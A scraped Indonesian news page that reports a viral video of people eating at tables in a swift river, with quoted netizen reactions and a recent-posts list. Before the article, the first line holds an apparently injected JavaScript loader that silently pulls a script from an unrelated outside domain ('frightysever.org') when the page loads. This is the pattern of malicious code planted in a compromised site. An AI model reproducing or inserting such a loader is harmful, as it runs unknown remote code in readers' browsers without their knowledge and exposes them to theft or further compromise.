(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: WARGA+62

Viral Video Makan di Tengah Derasnya Kali, Dianggap Jadi Beban Tim SAR


KANALKALIMANTAN.COM – Sensasi menyenangkan makan di kolam renang atau floathing reakfast tentu sudah biasa. Tetapi, bagaimana jika floathing breakfast di tengah sungai atau kali yang memiliki arus cukup deras?

Tentunya makan di tengah kali yang berarus deras bakal menyajikan sensasi unik dan menantang. Seperti yang diperlihatkan dalam video yang diunggah oleh akun Twitter @kegblgnunfaedh baru-baru ini, Sabtu (26/12/2020).

“Beban Keluarga (Tanda silang) Beban Timsar (Tanda Centang),” tulis akun tersebut memberi narasi unggahannya dikutip Suara.com.

Dalam video tersebut tampak sejumlah orang sedang menikmati makanan di tengah derasnya arus sungai. Diduga, mereka makan di sebuah warung yang memang berkonsep makan di tengah sungai.

 

Beberapa meja terlihat dipenuhi pelanggan dan makanan yang di sediakan. Tampak pula pelayan sedang menata meja serta menghidangkan santapan pesanan pelanggan.

Video orang makan di tengah kali. (Twitter/@kegblgnunfaedh)

Pelanggan-pelanggan tersebut terlihat tidak peduli dengan derasnya aliran sungai. Bahkan pakaian yang mereka kenakan sampai basah pun mereka terlihat cuek.

Hingga artikel ini dibuat, video unik tersebut telah dilihat sebanyak 119 ribu kali tayangan dan diberondong komentar-komentar warganet.

“INI MAKANNYA EMANG PADA GA WAS-WAS GITU YA? TAKUT TERHANYUT BERSAMA BAYANGANMU,” celetuk warganet dengan nama akun @piuu***

“Amit-amit… Kalo misal tiba-tiba ada banjir bandang gimana. Duh mbok ya tolong gitu loh.. Belom lagi kalo ada ta,* lewat,” sahut warganet lainnya @ayuse***

“Tempat yang bagus didatengin bersama mantan, pas makan pura-pura bersin aja biar dia kaget terus anyutt. Uwuwww,” timpal akun @Saingan***

Meski begitu, belum diketahui pasti di mana lokasi restoran dengan konsep yang dinilai berbahaya tersebut. (suara.com)

 


Al Ghifari

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

6 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

7 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

7 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

7 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

7 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

7 jam ago

This website uses cookies.